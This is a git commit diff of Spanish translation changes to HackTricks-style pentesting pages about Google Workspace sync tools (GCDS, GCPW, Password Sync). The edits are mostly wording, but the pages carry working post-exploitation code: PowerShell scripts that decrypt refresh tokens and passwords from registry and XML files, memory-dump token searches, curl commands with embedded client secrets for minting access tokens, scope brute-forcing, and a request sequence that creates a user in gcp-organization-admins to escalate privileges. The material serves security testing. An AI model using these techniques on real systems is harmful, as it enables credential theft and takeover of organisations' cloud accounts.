Translated ['src/pentesting-cloud/aws-security/aws-persistence/aws-sts-p

This commit is contained in:
Translator
2025-01-21 17:36:43 +00:00
parent b073ba19ce
commit b4241e8188
42 changed files with 587 additions and 568 deletions

View File

@@ -4,12 +4,12 @@
## Información Básica
Esta es una herramienta que se puede utilizar para **sincronizar tus usuarios y grupos de Active Directory con tu Workspace** (y no al revés en el momento de escribir esto).
Esta es una herramienta que se puede usar para **sincronizar tus usuarios y grupos de Active Directory con tu Workspace** (y no al revés en el momento de escribir esto).
Es interesante porque es una herramienta que requerirá las **credenciales de un superusuario de Workspace y un usuario privilegiado de AD**. Por lo tanto, podría ser posible encontrarla dentro de un servidor de dominio que esté sincronizando usuarios de vez en cuando.
> [!NOTE]
> Para realizar un **MitM** al binario **`config-manager.exe`**, simplemente agrega la siguiente línea en el archivo `config.manager.vmoptions`: **`-Dcom.sun.net.ssl.checkRevocation=false`**
> Para realizar un **MitM** al binario **`config-manager.exe`**, solo agrega la siguiente línea en el archivo `config.manager.vmoptions`: **`-Dcom.sun.net.ssl.checkRevocation=false`**
> [!TIP]
> Ten en cuenta que [**Winpeas**](https://github.com/peass-ng/PEASS-ng/tree/master/winPEAS/winPEASexe) es capaz de detectar **GCDS**, obtener información sobre la configuración y **incluso las contraseñas y credenciales encriptadas**.
@@ -20,7 +20,7 @@ También ten en cuenta que GCDS no sincronizará contraseñas de AD a Workspace.
### GCDS - Tokens de Disco y Credenciales de AD
El binario `config-manager.exe` (el binario principal de GCDS con GUI) almacenará las credenciales de Active Directory configuradas, el token de actualización y el acceso por defecto en un **archivo xml** en la carpeta **`C:\Program Files\Google Cloud Directory Sync`** en un archivo llamado **`Untitled-1.xml`** por defecto. Aunque también podría guardarse en los `Documents` del usuario o en **cualquier otra carpeta**.
El binario `config-manager.exe` (el binario principal de GCDS con GUI) almacenará las credenciales de Active Directory configuradas, el token de actualización y el acceso por defecto en un **archivo xml** en la carpeta **`C:\Program Files\Google Cloud Directory Sync`** en un archivo llamado **`Untitled-1.xml`** por defecto. Aunque también podría guardarse en los `Documentos` del usuario o en **cualquier otra carpeta**.
Además, el registro **`HKCU\SOFTWARE\JavaSoft\Prefs\com\google\usersyncapp\ui`** dentro de la clave **`open.recent`** contiene las rutas a todos los archivos de configuración abiertos recientemente (xmls). Así que es posible **verificarlo para encontrarlos**.
@@ -49,12 +49,12 @@ La información más interesante dentro del archivo sería:
<authCredentialsEncrypted>XMmsPMGxz7nkpChpC7h2ag==</authCredentialsEncrypted>
[...]
```
Tenga en cuenta cómo el **refresh** **token** y la **contraseña** del usuario están **encriptados** utilizando **AES CBC** con una clave y un IV generados aleatoriamente almacenados en **`HKEY_CURRENT_USER\SOFTWARE\JavaSoft\Prefs\com\google\usersyncapp\util`** (donde sea que la biblioteca Java **`prefs`** almacene las preferencias) en las claves de cadena **`/Encryption/Policy/V2.iv`** y **`/Encryption/Policy/V2.key`** almacenadas en base64.
Tenga en cuenta cómo el **refresh** **token** y la **password** del usuario están **encrypted** utilizando **AES CBC** con una clave y un IV generados aleatoriamente almacenados en **`HKEY_CURRENT_USER\SOFTWARE\JavaSoft\Prefs\com\google\usersyncapp\util`** (donde sea que la biblioteca Java **`prefs`** almacene las preferencias) en las claves de cadena **`/Encryption/Policy/V2.iv`** y **`/Encryption/Policy/V2.key`** almacenadas en base64.
<details>
<summary>Script de Powershell para desencriptar el refresh token y la contraseña</summary>
```powershell
<summary>Script de Powershell para descifrar el refresh token y la password</summary>
```bash
# Paths and key names
$xmlConfigPath = "C:\Users\c\Documents\conf.xml"
$regPath = "SOFTWARE\JavaSoft\Prefs\com\google\usersyncapp\util"
@@ -150,7 +150,7 @@ Write-Host "Decrypted Password: $decryptedPassword"
</details>
> [!NOTE]
> Tenga en cuenta que es posible verificar esta información revisando el código java de **`DirSync.jar`** desde **`C:\Program Files\Google Cloud Directory Sync`** buscando la cadena `exportkeys` (ya que ese es el parámetro cli que el binario `upgrade-config.exe` espera para volcar las claves).
> Tenga en cuenta que es posible verificar esta información revisando el código java de **`DirSync.jar`** en **`C:\Program Files\Google Cloud Directory Sync`** buscando la cadena `exportkeys` (ya que ese es el parámetro cli que el binario `upgrade-config.exe` espera para volcar las claves).
En lugar de usar el script de powershell, también es posible usar el binario **`:\Program Files\Google Cloud Directory Sync\upgrade-config.exe`** con el parámetro `-exportKeys` y obtener la **Key** y **IV** del registro en hex y luego simplemente usar algún cyberchef con AES/CBC y esa clave e IV para descifrar la información.
@@ -162,7 +162,7 @@ Supongo que también podrías encontrar las credenciales configuradas de AD.
<details>
<summary>Volcar procesos config-manager.exe y buscar tokens</summary>
```powershell
```bash
# Define paths for Procdump and Strings utilities
$procdumpPath = "C:\Users\carlos_hacktricks\Desktop\SysinternalsSuite\procdump.exe"
$stringsPath = "C:\Users\carlos_hacktricks\Desktop\SysinternalsSuite\strings.exe"
@@ -235,9 +235,9 @@ Remove-Item -Path $dumpFolder -Recurse -Force
```
</details>
### GCDS - Generación de tokens de acceso a partir de tokens de actualización
### GCDS - Generando tokens de acceso a partir de tokens de actualización
Usando el token de actualización, es posible generar tokens de acceso utilizando este y el ID de cliente y el secreto de cliente especificados en el siguiente comando:
Usando el token de actualización, es posible generar tokens de acceso utilizando este y el ID de cliente y secreto de cliente especificados en el siguiente comando:
```bash
curl -s --data "client_id=118556098869.apps.googleusercontent.com" \
--data "client_secret=Co-LoSjkPcQXD9EjJzWQcgpy" \
@@ -280,7 +280,7 @@ rm /tmp/valid_scopes.txt
```
</details>
Y esta es la salida que obtuve en el momento de la escritura:
Y esta es la salida que obtuve en el momento de la redacción:
```
https://www.googleapis.com/auth/admin.directory.group
https://www.googleapis.com/auth/admin.directory.orgunit
@@ -291,7 +291,7 @@ https://www.googleapis.com/auth/apps.groups.settings
https://www.googleapis.com/auth/apps.licensing
https://www.googleapis.com/auth/contacts
```
#### Crear un usuario y agregarlo al grupo `gcp-organization-admins` para intentar escalar en GCP
#### Crear un usuario y añadirlo al grupo `gcp-organization-admins` para intentar escalar en GCP
```bash
# Create new user
curl -X POST \
@@ -321,6 +321,6 @@ curl -X POST \
# You could also change the password of a user for example
```
> [!CAUTION]
> No es posible otorgar al nuevo usuario el rol de Super Amin porque el **token de actualización no tiene suficientes alcances** para otorgar los privilegios requeridos.
> No es posible otorgar al nuevo usuario el rol de Super Admin porque el **token de actualización no tiene suficientes scopes** para otorgar los privilegios requeridos.
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -33,12 +33,12 @@ scope=https://www.google.com/accounts/OAuthLogin
>
> También configura en "Servicios y otros usuarios" ambas opciones e instala el certificado CA de Burp en Windows.
Además, al agregar las claves `enable_verbose_logging = 1` y `log_file_path = C:\Public\gcpw.log` en **`HKLM:\SOFTWARE\Google\GCPW`**, es posible hacer que almacene algunos registros.
Además, al agregar las claves `enable_verbose_logging = 1` y `log_file_path = C:\Public\gcpw.log` en **`HKLM:\SOFTWARE\Google\GCPW`** es posible hacer que almacene algunos registros.
### GCPW - Huella digital
Es posible verificar si GCPW está instalado en un dispositivo comprobando si existe el siguiente proceso o si existen las siguientes claves de registro:
```powershell
```bash
# Check process gcpw_extension.exe
if (Get-Process -Name "gcpw_extension" -ErrorAction SilentlyContinue) {
Write-Output "The process gcpw_xtension.exe is running."
@@ -64,10 +64,10 @@ Write-Output "No Google Accounts found: The key $gcpwHKCUPath does not exist."
```
En **`HKCU:\SOFTWARE\Google\Accounts`** es posible acceder al correo electrónico del usuario y al **refresh token** encriptado si el usuario ha iniciado sesión recientemente.
En **`HKLM:\SOFTWARE\Google\GCPW\Users`** es posible encontrar los **dominios** que están permitidos para iniciar sesión en la clave `domains_allowed` y en subclaves es posible encontrar información sobre el usuario como correo electrónico, foto, nombre de usuario, duraciones de token, identificador de token...
En **`HKLM:\SOFTWARE\Google\GCPW\Users`** es posible encontrar los **dominios** que están permitidos para iniciar sesión en la clave `domains_allowed` y en subclaves es posible encontrar información sobre el usuario como correo electrónico, foto, nombre de usuario, duraciones de token, manejador de token...
> [!NOTE]
> El identificador de token es un token que comienza con `eth.` y del cual se puede extraer información con una solicitud como:
> El manejador de token es un token que comienza con `eth.` y del cual se puede extraer información con una solicitud como:
>
> ```bash
> curl -s 'https://www.googleapis.com/oauth2/v2/tokeninfo' \
@@ -80,7 +80,7 @@ En **`HKLM:\SOFTWARE\Google\GCPW\Users`** es posible encontrar los **dominios**
> }
> ```
>
> También es posible encontrar el identificador de token de un token de acceso con una solicitud como:
> También es posible encontrar el manejador de token de un token de acceso con una solicitud como:
>
> ```bash
> curl -s 'https://www.googleapis.com/oauth2/v2/tokeninfo' \
@@ -96,7 +96,7 @@ En **`HKLM:\SOFTWARE\Google\GCPW\Users`** es posible encontrar los **dominios**
> }
> ```
>
> Hasta donde sé, no es posible obtener un refresh token o access token del identificador de token.
> Hasta donde sé, no es posible obtener un refresh token o access token del manejador de token.
Además, el archivo **`C:\ProgramData\Google\Credential Provider\Policies\<sid>\PolicyFetchResponse`** es un json que contiene la información de diferentes **configuraciones** como `enableDmEnrollment`, `enableGcpAutoUpdate`, `enableMultiUserLogin` (si varios usuarios de Workspace pueden iniciar sesión en la computadora) y `validityPeriodDays` (número de días que un usuario no necesita volver a autenticarse directamente con Google).
@@ -109,7 +109,7 @@ Dentro del registro **`HKCU:\SOFTWARE\Google\Accounts`** podría ser posible enc
<details>
<summary>Obtener <strong><code>HKCU:\SOFTWARE\Google\Accounts</code></strong> datos y desencriptar refresh_tokens</summary>
```powershell
```bash
# Import required namespace for decryption
Add-Type -AssemblyName System.Security
@@ -167,7 +167,7 @@ Como se explica en [**este video**](https://www.youtube.com/watch?v=FEQxHRRP_5I)
### GCPW - Tokens de actualización de disco
El archivo **`%LocalAppData%\Google\Chrome\User Data\Local State`** almacena la clave para descifrar los **`refresh_tokens`** ubicados dentro de los **perfiles de Google Chrome** del usuario como:
El archivo **`%LocalAppData%\Google\Chrome\User Data\Local State`** almacena la clave para descifrar los **`refresh_tokens`** ubicados dentro de los **perfiles de Google Chrome** del usuario, como:
- `%LocalAppData%\Google\Chrome\User Data\Default\Web Data`
- `%LocalAppData%\Google\Chrome\Profile*\Default\Web Data`
@@ -185,7 +185,7 @@ El siguiente script se puede usar para **extraer** cada proceso de **Chrome** us
<details>
<summary>Extraer procesos de Chrome y buscar tokens</summary>
```powershell
```bash
# Define paths for Procdump and Strings utilities
$procdumpPath = "C:\Users\carlos_hacktricks\Desktop\SysinternalsSuite\procdump.exe"
$stringsPath = "C:\Users\carlos_hacktricks\Desktop\SysinternalsSuite\strings.exe"
@@ -342,7 +342,7 @@ rm /tmp/valid_scopes.txt
```
</details>
Y este es el resultado que obtuve en el momento de la escritura:
Y esta es la salida que obtuve en el momento de la escritura:
<details>
@@ -378,7 +378,7 @@ https://www.googleapis.com/auth/userinfo.profile
```
</details>
Además, al revisar el código fuente de Chromium, es posible [**encontrar este archivo**](https://github.com/chromium/chromium/blob/5301790cd7ef97088d4862465822da4cb2d95591/google_apis/gaia/gaia_constants.cc#L24), que contiene **otros alcances** que se puede suponer que **no aparecen en la lista previamente forzada por fuerza bruta**. Por lo tanto, se pueden asumir estos alcances adicionales:
Además, al revisar el código fuente de Chromium, es posible [**encontrar este archivo**](https://github.com/chromium/chromium/blob/5301790cd7ef97088d4862465822da4cb2d95591/google_apis/gaia/gaia_constants.cc#L24), que contiene **otros alcances** que se puede suponer que **no aparecen en la lista previamente forzada**. Por lo tanto, se pueden asumir estos alcances adicionales:
<details>
@@ -461,14 +461,14 @@ https://www.googleapis.com/auth/wallet.chrome
```
</details>
Tenga en cuenta que el más interesante es posiblemente:
Ten en cuenta que el más interesante posiblemente sea:
```c
// OAuth2 scope for access to all Google APIs.
const char kAnyApiOAuth2Scope[] = "https://www.googleapis.com/auth/any-api";
```
Sin embargo, intenté usar este alcance para acceder a gmail o listar grupos y no funcionó, así que no sé cuán útil sigue siendo.
**Obtén un token de acceso con todos esos alcances**:
**Obtener un token de acceso con todos esos alcances**:
<details>
@@ -585,11 +585,11 @@ https://www.googleapis.com/oauth2/v4/token
```
</details>
Algunos ejemplos utilizando algunos de esos alcances:
Algunos ejemplos usando algunos de esos alcances:
<details>
<summary>https://www.googleapis.com/auth/userinfo.email &#x26; https://www.googleapis.com/auth/userinfo.profile</summary>
<summary>https://www.googleapis.com/auth/userinfo.email & https://www.googleapis.com/auth/userinfo.profile</summary>
```bash
curl -X GET \
-H "Authorization: Bearer $access_token" \
@@ -803,11 +803,11 @@ Luego busca el secreto como `Chrome-GCPW-<sid>` como en la imagen:
<figure><img src="../../../images/telegram-cloud-photo-size-4-6044191430395675441-x.jpg" alt=""><figcaption></figcaption></figure>
Luego, con un **access token** con el alcance `https://www.google.com/accounts/OAuthLogin`, es posible solicitar la clave privada para descifrar la contraseña:
Luego, con un **token de acceso** con el alcance `https://www.google.com/accounts/OAuthLogin`, es posible solicitar la clave privada para descifrar la contraseña:
<details>
<summary>Script para obtener la contraseña en texto claro dado el access token, la contraseña encriptada y el id de recurso</summary>
<summary>Script para obtener la contraseña en texto claro dado el token de acceso, la contraseña encriptada y el id de recurso</summary>
```python
import requests
from base64 import b64decode

View File

@@ -27,7 +27,7 @@ Respecto al AD, es posible indicarle que use el **contexto de aplicaciones actua
> [!TIP]
> Ten en cuenta que [**Winpeas**](https://github.com/peass-ng/PEASS-ng/tree/master/winPEAS/winPEASexe) es capaz de detectar **GPS**, obtener información sobre la configuración y **incluso desencriptar la contraseña y el token**.
En el archivo **`C:\ProgramData\Google\Google Apps Password Sync\config.xml`** es posible encontrar parte de la configuración como el **`baseDN`** del AD configurado y el **`username`** cuyas credenciales se están utilizando.
En el archivo **`C:\ProgramData\Google\Google Apps Password Sync\config.xml`** es posible encontrar parte de la configuración, como el **`baseDN`** del AD configurado y el **`username`** cuyas credenciales se están utilizando.
En el registro **`HKLM\Software\Google\Google Apps Password Sync`** es posible encontrar el **token de actualización encriptado** y la **contraseña encriptada** para el usuario de AD (si la hay). Además, si en lugar de un token, se utilizan algunas **credenciales de SA**, también es posible encontrar esas encriptadas en esa dirección del registro. Los **valores** dentro de este registro son solo **accesibles** por **Administradores**.
@@ -36,7 +36,7 @@ La **contraseña encriptada** (si la hay) está dentro de la clave **`ADPassword
El token encriptado (si lo hay) está dentro de la clave **`AuthToken`** y está encriptado usando la API **`CryptProtectData`**. Para desencriptarlo, necesitas ser el mismo usuario que configuró la sincronización de contraseñas y usar esta **entropía** al usar **`CryptUnprotectData`**: `byte[] entropyBytes = new byte[] { 0x00, 0x14, 0x0b, 0x7e, 0x8b, 0x18, 0x8f, 0x7e, 0xc5, 0xf2, 0x2d, 0x6e, 0xdb, 0x95, 0xb8, 0x5b };`\
Además, también está codificado usando base32hex con el diccionario **`0123456789abcdefghijklmnopqrstv`**.
Los valores de entropía se encontraron utilizando la herramienta. Se configuró para monitorear las llamadas a **`CryptUnprotectData`** y **`CryptProtectData`** y luego se utilizó la herramienta para lanzar y monitorear `PasswordSync.exe`, que desencriptará la contraseña y el token de autenticación configurados al principio y la herramienta **mostrará los valores de la entropía utilizada** en ambos casos:
Los valores de entropía se encontraron utilizando la herramienta. Se configuró para monitorear las llamadas a **`CryptUnprotectData`** y **`CryptProtectData`** y luego se utilizó la herramienta para lanzar y monitorear `PasswordSync.exe`, que desencriptará la contraseña y el token de autenticación configurados al principio, y la herramienta **mostrará los valores de la entropía utilizada** en ambos casos:
<figure><img src="../../../images/telegram-cloud-photo-size-4-5782633230648853886-y.jpg" alt=""><figcaption></figcaption></figure>
@@ -52,7 +52,7 @@ Supongo que también podrías encontrar las credenciales configuradas del AD.
<details>
<summary>Volcar <code>PasswordSync.exe</code> y los procesos de <code>password_sync_service.exe</code> y buscar tokens</summary>
```powershell
```bash
# Define paths for Procdump and Strings utilities
$procdumpPath = "C:\Users\carlos-local\Downloads\SysinternalsSuite\procdump.exe"
$stringsPath = "C:\Users\carlos-local\Downloads\SysinternalsSuite\strings.exe"
@@ -129,7 +129,7 @@ Write-Output ""
### GPS - Generando tokens de acceso a partir de tokens de actualización
Usando el token de actualización, es posible generar tokens de acceso utilizando este y el ID de cliente y el secreto de cliente especificados en el siguiente comando:
Usando el token de actualización, es posible generar tokens de acceso utilizando este y el ID de cliente y secreto de cliente especificados en el siguiente comando:
```bash
curl -s --data "client_id=812788789386-chamdrfrhd1doebsrcigpkb3subl7f6l.apps.googleusercontent.com" \
--data "client_secret=4YBz5h_U12lBHjf4JqRQoQjA" \
@@ -137,7 +137,7 @@ curl -s --data "client_id=812788789386-chamdrfrhd1doebsrcigpkb3subl7f6l.apps.goo
--data "refresh_token=1//03pJpHDWuak63CgYIARAAGAMSNwF-L9IrfLo73ERp20Un2c9KlYDznWhKJOuyXOzHM6oJaO9mqkBx79LjKOdskVrRDGgvzSCJY78" \
https://www.googleapis.com/oauth2/v4/token
```
### GPS - Alcances
### GPS - Scopes
> [!NOTE]
> Tenga en cuenta que incluso teniendo un token de actualización, no es posible solicitar ningún alcance para el token de acceso, ya que solo puede solicitar los **alcances admitidos por la aplicación donde está generando el token de acceso**.
@@ -148,7 +148,7 @@ Por defecto, GPS no tendrá acceso como el usuario a todos los posibles alcances
<details>
<summary>Script Bash para fuerza bruta de alcances</summary>
<summary>Bash script to brute-force scopes</summary>
```bash
curl "https://developers.google.com/identity/protocols/oauth2/scopes" | grep -oE 'https://www.googleapis.com/auth/[a-zA-Z/\._\-]*' | sort -u | while read -r scope; do
echo -ne "Testing $scope \r"
@@ -172,11 +172,11 @@ rm /tmp/valid_scopes.txt
```
</details>
Y esta es la salida que obtuve en el momento de la redacción:
Y esta es la salida que obtuve en el momento de la escritura:
```
https://www.googleapis.com/auth/admin.directory.user
```
El mismo que obtienes si no indicas ningún alcance.
¿Cuál es el mismo que obtienes si no indicas ningún alcance?
> [!CAUTION]
> Con este alcance podrías **modificar la contraseña de un usuario existente para escalar privilegios**.